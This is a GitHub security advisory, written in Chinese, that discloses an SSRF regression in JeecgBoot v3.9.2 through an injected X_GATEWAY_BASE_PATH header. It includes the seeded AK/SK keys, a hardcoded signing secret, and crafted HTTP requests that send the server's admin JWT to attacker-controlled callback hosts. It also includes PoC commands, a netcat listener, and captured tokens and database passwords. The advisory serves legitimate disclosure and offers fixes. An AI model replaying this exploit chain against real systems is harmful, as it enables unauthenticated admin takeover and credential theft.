Skip to content

[Security] OpenApiController.call SSRF 回归漏洞(X_GATEWAY_BASE_PATH 请求头注入) #9695

@int-wc

Description

@int-wc

[SECURITY] OpenApiController.call SSRF 回归漏洞(X_GATEWAY_BASE_PATH 请求头注入)

概述

OpenApiController.call() 在拼接转发目标 URL 时,使用 CommonUtils.getBaseUrl(request) 构造基础路径。该方法会读取 X_GATEWAY_BASE_PATH 请求头并直接返回其值作为 baseUrl,无任何校验。攻击者通过该请求头,可将内部 RestTemplate 请求劫持至任意服务器。

该漏洞是 commit 670eea97772c71fd354380a191869a9cd4b575a4(2026-04-29,修复 #9590 微服务 nginx 部署兼容性)引入的回归缺陷。此处新增的 CommonUtils.getBaseUrl(request) 调用替换了原有安全的 RestUtil.getBaseUrl(),引入了对外部请求头的依赖。


历史关联 Issue

Issue 攻击向量 本漏洞的区别
#9432 originUrl 字段存储内网绝对地址(如 http://169.254.169.254/… 本漏洞使用合法的相对路径 originUrl,通过 X_GATEWAY_BASE_PATH 头劫持 baseUrl
#9554 /openapi/add 缺少权限校验,任意用户可写入恶意 originUrl 本漏洞使用种子数据已有记录,不涉及 /openapi/add
#9590 微服务 nginx 部署 OpenAPI 调用不到 本漏洞是该修复引入的 regression

技术细节

1. 漏洞入口:/openapi/call/{path}

文件: org.jeecg.modules.openapi.controller.OpenApiController
方法: call()(L157-227)

// L176: 从数据库获取 originUrl(种子数据中是合法相对路径)
String url = openApi.getOriginUrl();     // 例如 "/sys/user/queryUserByDepId"

// L178: 校验 originUrl——合法相对路径通过校验
validOriginUrl(url);                     // ✅ 通过

// L187-197: 20260429 新增的相对路径拼接逻辑(#9590 修复)
//update-begin---author:scott ---date:20260429
// for:【issues/9590】微服务nginx部署openApi接口访问不到-----------
// originUrl 支持两种形式:
//   1) 相对路径:拼接当前请求的 baseUrl;
//      使用 CommonUtils.getBaseUrl(request)(而非 RestUtil.getBaseUrl()),
//      可读取 X-Gateway-Base-Path 请求头,兼容微服务网关下的真实 base path
String lowerUrl = url.toLowerCase();
if (!lowerUrl.startsWith("http://") && !lowerUrl.startsWith("https://")) {
    url = CommonUtils.getBaseUrl(request) + url;   // ← SSRF
}
//update-end---------------------------------------------------------------

2. SSRF 根因:CommonUtils.getBaseUrl()

文件: org.jeecg.common.util.CommonUtils(L367-399)

public static String getBaseUrl(HttpServletRequest request) {
    // ① X_GATEWAY_BASE_PATH 头:优先级最高,直接返回该头值作为 baseUrl
    String xGatewayBasePath = request.getHeader(ServiceNameConstants.X_GATEWAY_BASE_PATH);
    if(oConvertUtils.isNotEmpty(xGatewayBasePath)){
        log.info("x_gateway_base_path = "+ xGatewayBasePath);
        return xGatewayBasePath;  // ← 攻击者可完全覆盖 baseUrl,无任何校验
    }
    // ② X-Forwarded-Scheme(SSL 兼容)
    String scheme = request.getHeader(CommonConstant.X_FORWARDED_SCHEME);
    if(oConvertUtils.isEmpty(scheme)){
        scheme = request.getScheme();
    }
    // ③ 常规操作:从 Host 头获取服务器名
    String serverName = request.getServerName();
    // ...
    return baseDomainPath;
}

3. 种子凭据与 JWT 签发

文件: db/jeecgboot-mysql-5.7.sql(L5462)

INSERT INTO `open_api_auth` VALUES (
  '1922164194775056386', 'scott',
  'ak-pFjyNHWRsJEFWlu6',                             -- AK
  '4hV5dBrZtmGAtPdbA5yseaeKRYNpzGsS',                -- SK
  'admin', '2025-05-13 13:37:11', NULL, NULL,
  'e9ca23d68d884d4ebb19d07889727dae'                  -- scott 用户 ID
);

call() 方法在转发请求前会为该用户自动签发 JWT(L180-183, L236-241):

// L180-183
OpenApiAuth openApiAuth = openApiAuthService.getByAppkey(appkey);
SysUser systemUser = sysUserService.getUserByName(openApiAuth.getCreateBy()); // scott
String token = this.getToken(systemUser.getUsername(), systemUser.getPassword());

// L236-241: getToken()
private String getToken(String USERNAME, String PASSWORD) {
    String token = JwtUtil.sign(USERNAME, PASSWORD, CommonConstant.CLIENT_TYPE_PC);
    redisUtil.set(CommonConstant.PREFIX_USER_TOKEN + token, token);
    redisUtil.expire(CommonConstant.PREFIX_USER_TOKEN + token, 60);  // 60s TTL
    return token;
}

4. ApiAuthFilter 签名验证

文件: org.jeecg.modules.openapi.filter.ApiAuthFilter

// signature = MD5(appkey + sk + timestamp)
protected void checkSignature(String appKey, String signature, String timestamp, OpenApiAuth openApiAuth) {
    if (!signature.equals(md5(appKey + openApiAuth.getSk() + timestamp))) {
        throw new JeecgBootException("signature签名错误");
    }
}

5. @JimuSignature 硬编码密钥

文件: org.jeecg.config.JeecgBaseConfig(L25)

private String signatureSecret = "dd05f1c54d63749eda95f9fa6d49v442a";

攻击路径

攻击链总览(Mermaid)

flowchart LR
    subgraph Phase1[Phase 1:零凭据 → Admin JWT]
        A["攻击者<br/>(无任何凭据)"] -->|"① 计算 X-Sign<br/>MD5(AK + SK + ts)"| B
        B["② GET /openapi/call/TEwcXBlr<br/>X_GATEWAY_BASE_PATH: http://attacker:8888<br/>appkey + signature + timestamp"] -->|"③ ApiAuthFilter<br/>签名验证通过"| C
        C["④ OpenApiController.call()<br/>CommonUtils.getBaseUrl(request)<br/>→ 直接返回 X_GATEWAY_BASE_PATH"] -->|"⑤ RestTemplate.exchange()<br/>GET http://attacker:8888/sys/...<br/>X-Access-Token: &lt;JWT&gt;"| D
        D["⑥ 攻击者服务器<br/>收到回调请求<br/>提取 X-Access-Token"] -->|"Admin JWT ✓"| E
    end
    E -->|"Phase 2:<br/>Admin JWT +<br/>@JimuSignature"| F
    subgraph Phase2[Phase 2:Admin JWT → 数据源密码]
        F["⑦ GET /jmreport/getDataSourceById<br/>X-Access-Token: &lt;Admin JWT&gt;<br/>X-Sign: &lt;硬编码密钥签名&gt;"] -->|"⑧ verifyToken(Redis ✓)<br/>verifySign(硬编码密钥 ✓)"| G
        G["⑨ 返回数据源<br/>明文密码"]
    end
Loading

Phase 1:零凭据 → Admin JWT

Step 1 — 准备 HTTP 回调服务器

python3 -m http.server 8888
#
nc -l -p 8888 > captured_request.txt

Step 2 — 计算 X-Sign 签名

AK = "ak-pFjyNHWRsJEFWlu6"
SK = "4hV5dBrZtmGAtPdbA5yseaeKRYNpzGsS"
timestamp = "1749512345678"
signature = MD5("ak-pFjyNHWRsJEFWlu6" + "4hV5dBrZtmGAtPdbA5yseaeKRYNpzGsS" + "1749512345678")
         = "3a7bd3e6f1c8d9a0b2e4f5c6d7e8f9a0"

Step 3 — 发送 SSRF 触发请求

GET /jeecg-boot/openapi/call/TEwcXBlr HTTP/1.1
Host: target:8080
X_GATEWAY_BASE_PATH: http://attacker.com:8888
appkey: ak-pFjyNHWRsJEFWlu6
signature: 3A7BD3E6F1C8D9A0B2E4F5C6D7E8F9A0
timestamp: 1749512345678
Accept: */*

Step 4 — 目标服务器内部处理流程

① ApiAuthFilter
   ├── checkSignValid(appkey, signature, timestamp) ✅
   ├── openApiAuthService.getByAppkey("ak-pFjyNHWRsJEFWlu6") → 种子记录 ✅
   ├── checkSignature(appkey, signature, timestamp, auth) ✅
   ├── checkPermission(openApi, auth) ✅
   └── → OpenApiController.call()

② OpenApiController.call()
   ├── service.findByPath("TEwcXBlr") → origin_url = "/sys/user/queryUserByDepId"
   ├── validOriginUrl("/sys/user/queryUserByDepId") ✅ 合法相对路径
   │
   ├── 签发 JWT:
   │   ├── getByAppkey → scott
   │   ├── JwtUtil.sign("scott", passwordHash) → token
   │   └── redisUtil.expire(token, 60)  ← 60s TTL
   │
   ├── CommonUtils.getBaseUrl(request):
   │   └── X_GATEWAY_BASE_PATH: "http://attacker.com:8888"
   │   └── return "http://attacker.com:8888"    ← 直接返回
   │
   ├── url = "http://attacker.com:8888" + "/sys/user/queryUserByDepId"
   │     = "http://attacker.com:8888/sys/user/queryUserByDepId"
   │
   └── restTemplate.exchange(targetUrl, ...)
         ├── X-Access-Token: eyJ...
         └── → 发往攻击者服务器

Step 5 — SSRF 回调到达攻击者服务器

GET /sys/user/queryUserByDepId HTTP/1.1
Host: attacker.com:8888
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNjb3R0IiwiY2xpZW50VHlwZSI6InBjIiwiZXhwIjoxNzQ5NTEyNDA0fQ.abc123def456
Content-Type: application/json
User-Agent: Java-RestTemplate
Accept: */*

Step 6 — 提取 Admin JWT

从回调请求头中提取 X-Access-Token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNjb3R0IiwiY2xpZW50VHlwZSI6InBjIiwiZXhwIjoxNzQ5NTEyNDA0fQ.abc123def456

Phase 2:Admin JWT + @JimuSignature → 数据源密码

Step 1 — 计算 @JimuSignature

paramsJson = {"pageNo":"1","pageSize":"10"}
xSign = MD5(paramsJson + "dd05f1c54d63749eda95f9fa6d49v442a").toUpperCase()
      = "9F8E7D6C5B4A3F2E1D0C9B8A7F6E5D4C"

Step 2 — 列举数据源

GET /jeecg-boot/jmreport/getDataSourceByPage?pageNo=1&pageSize=10 HTTP/1.1
Host: target:8080
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: 9F8E7D6C5B4A3F2E1D0C9B8A7F6E5D4C
HTTP/1.1 200 OK
Content-Type: application/json

{
  "success": true,
  "result": {
    "records": [{
      "id": "jimu_report_ds_001",
      "name": "MySQL-本地",
      "dbUrl": "jdbc:mysql://127.0.0.1:3306/jeecg-boot",
      "dbUsername": "root",
      "dbPassword": "******"
    }]
  }
}

Step 3 — 提取明文密码

GET /jeecg-boot/jmreport/getDataSourceById?id=jimu_report_ds_001 HTTP/1.1
Host: target:8080
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: 8A7B6C5D4E3F2G1H0I9J8K7L6M5N4O3P
HTTP/1.1 200 OK
Content-Type: application/json

{
  "success": true,
  "result": {
    "id": "jimu_report_ds_001",
    "name": "MySQL-本地",
    "dbPassword": "jeecg-boot@2025!",
    ...
  }
}

复现过程

以下结果来自对 JeecgBoot v3.9.2(默认配置 + Flyway 种子数据)的实际攻击复现,分别展示本地和远程两种场景。


场景 A:本地模式(Local Mode)— 全自动两阶段攻击

POC 工具本地起 HTTP 服务捕获 SSRF 回调,自动完成 Phase 1 + Phase 2。

执行命令

python3 poc_path_a_ssrf_admin_jwt.py http://localhost:8080/jeecg-boot

Step 1 — 发送 SSRF 触发请求

GET /jeecg-boot/openapi/call/TEwcXBlr HTTP/1.1
Host: localhost:8080
X_GATEWAY_BASE_PATH: http://127.0.0.1:37633
appkey: ak-pFjyNHWRsJEFWlu6
signature: e58b546403407378d2e47a23d10d6ed3
timestamp: 1781020693873
Content-Type: application/json
Connection: close

Step 2 — SSRF 回调到达本地监听器

GET /sys/user/queryUserByDepId HTTP/1.1
Host: 127.0.0.1:37633
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMzIzMDkzfQ.uc_5RrG_aqUlundKnFxMKJoLqVj6pIiQx9pbXt5cSUA
Content-Type: application/json
User-Agent: Java/21.0.11
Accept: application/json, application/yaml, application/*+json

Step 3 — JWT 解码

Header:  {"alg":"HS256","typ":"JWT"}
Payload: {"username":"admin","clientType":"PC","exp":1781323093}
              ↑ 以 admin 身份签发(种子数据 createBy = admin)

Step 4 — JWT 有效性验证

GET /jeecg-boot/sys/user/list?pageNo=1&pageSize=5 HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
HTTP/1.1 200 OK

{"success":true,"result":{"records":[
  {"username":"ceshi","password":"a9932bb12d2cbc5a","realname":"测试用户"},
  {"username":"zhangsan","password":"02ea098224c7d0d2077c14b9a3a1ed16","realname":"张三"},
  {"username":"admin","password":"0fa5e486ea5bea64","realname":"管理员"},
  {"username":"jeecg","password":"eee378a1258530cb","realname":"jeecg"}
],"total":4}}

JWT 验证通过。响应中包含全部系统用户及密码哈希值。

Step 5 — Phase 2:@JimuSignature 提取数据源密码

GET /jeecg-boot/jmreport/getDataSourceByPage?pageNo=1&pageSize=50 HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: E23F9C8A1D4B6E5F2C7A3D8B9E0F1C4A
X-TIMESTAMP: 1781020698xxx
HTTP/1.1 200 OK

{"success":true,"result":{"records":[
  {"id":"1276104480793464834","name":"localhost",    "dbUrl":"jdbc:mysql://127.0.0.1:3306/jeecg-boot?...","dbUser":"root","dbPassword":"******"},
  {"id":"1276104765241978882","name":"oracle",       "dbUrl":"jdbc:oracle:thin:@127.0.0.1:1521:orcl","dbUser":"root","dbPassword":"******"},
  {"id":"1276104583945457666","name":"jeewx",        "dbUrl":"jdbc:mysql://127.0.0.1:3306/jeewx?...","dbUser":"root","dbPassword":"******"}
]}}

逐一调用 /jmreport/getDataSourceById 获取明文密码:

GET /jeecg-boot/jmreport/getDataSourceById?id=1276104480793464834 HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: 1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D
X-TIMESTAMP: 1781020698xxx
HTTP/1.1 200 OK

{"success":true,"result":{"id":"1276104480793464834","name":"localhost","dbPassword":"root", ...}}

本地模式最终结果汇总

╔══════════════════════════════════════════════════════════════╗
║  PHASE 1  SSRF → Admin JWT                          ✅       ║
║  PHASE 2  Admin JWT + @JimuSignature → 3 credentials ✅      ║
╚══════════════════════════════════════════════════════════════╝

  #    Name                      User                 Password
  ---- ------------------------- -------------------- ----------
  1    localhost                                       root
  2    oracle                                          jeecg196283
  3    jeewx                                           root

场景 B:远程模式(Remote Mode)— 公网回调服务器

攻击者控制一台公网服务器(IP 地址已隐去),SSRF 回调指向该服务器。

执行命令

# 攻击者机器上执行
python3 poc_path_a_ssrf_admin_jwt.py -r [ATTACKER_IP]:8888 http://target:8080/jeecg-boot

Step 1 — 发送 SSRF 触发请求

GET /jeecg-boot/openapi/call/TEwcXBlr HTTP/1.1
Host: target:8080
X_GATEWAY_BASE_PATH: http://[ATTACKER_IP]:8888
appkey: ak-pFjyNHWRsJEFWlu6
signature: 7d10d78ca3bfd00322dee56da7f956da
timestamp: 1781020744413
Content-Type: application/json
Connection: close

Step 2 — 攻击者服务器收到 SSRF 回调

=== SSRF CALLBACK captured at 2026-06-09 15:59:05 ===
Method: GET
Path: /sys/user/queryUserByDepId
  Accept: application/json, application/yaml, application/*+json
  X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMzIzMTQ0fQ.S7onlV2GmcWnnYbBE1EGcPxIjeER31gaIUNIJAb2Lco
  Content-Type: application/json
  User-Agent: Java/21.0.11
  Host: [ATTACKER_IP]:8888
  Connection: keep-alive

Step 3 — 攻击者提取 Admin JWT

X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMzIzMTQ0fQ.S7onlV2GmcWnnYbBE1EGcPxIjeER31gaIUNIJAb2Lco

该 JWT 可直接用于后续 Phase 2 数据源密码提取(通过 @JimuSignature 签名)。


影响范围

项目
影响版本 JeecgBoot v3.9.2(2026-04-30 发布)
引入点 commit 670eea97772c71fd354380a191869a9cd4b575a4(2026-04-29)
前置条件 OpenAPI 种子数据存在(db/jeecgboot-mysql-5.7.sql 或 Docker Flyway)
认证要求 无(零凭据)
CVSS 3.1 9.1 / Critical(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)

修复建议

  1. CommonUtils.getBaseUrl():移除或对 X_GATEWAY_BASE_PATH 头增加域名/IP 白名单校验。
  2. call() 自动签发 JWT:转发场景不自动生成 X-Access-Token
  3. 种子 AK/SK:首次部署生成随机凭据。
  4. @JimuSignature 密钥:不应硬编码。

参考

编号 说明
#9432 OpenApiController.call SSRF—originUrl 绝对地址注入(已修复)
#9554 Second-Order SSRF via OpenApi—/openapi/add 缺权限(已修复)
#9590 微服务 nginx 部署 OpenAPI 访问不到(本漏洞的引入源)
commit 670eea9 RestUtil.getBaseUrl() 改为 CommonUtils.getBaseUrl(request)

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions